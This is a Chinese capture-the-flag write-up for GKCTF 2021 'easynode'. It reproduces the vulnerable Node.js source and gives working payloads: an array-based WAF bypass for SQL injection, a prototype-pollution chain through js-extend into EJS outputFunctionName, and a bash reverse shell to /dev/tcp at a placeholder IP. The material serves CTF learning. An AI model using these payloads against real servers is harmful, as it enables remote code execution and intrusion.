[GKCTF 2021]easynode

 开局是登录页面

题目也给出了源码就看源码的index.js

const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());


// 过滤username和password中的危险字符
let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }
// 配合waf函数把黑名单里的危险字符依次替换为 * 但是是== 弱类型比较 
// 
// 
// 这里操作就可以让username 为一个数组，这样 str[i] 就是一个键值，就直接绕过了WAF
// 再通过WAF中拼凑操作 因为JS中，如果两个数组相加 最后的数组被转换为一个字符串
// 要注意这里post的username数组长度一定要长 不然无法登录
    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})
    

app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })
 

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});
  
app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});


app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        // 让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1\"');var __tmp2"}} 进行 extend 操作
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        // 思路： username 等于 __proto，想要这样，就需要创建用户，就回到/addAdmin路由，所以我们就需要admin的token，
        // 总的操作就是 login里面用绕过获得token 再去addAdmin创建用户 最后获取__proto__用户的token 用token去adminDIV POST data数据污染 然后再去admin就能反弹shell
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});



app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  

 代码分析的操作都在代码里的注释了

获取token的WAF弱比较绕过

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456

POST反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20这里写base64后的受害者语句%3D%7Cbase64%20-d%7Cbash');var __tmp2"}

上面说的受害者语句 就用下面的去转base64 

bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1"

 两天干这一道题 对不起我是fw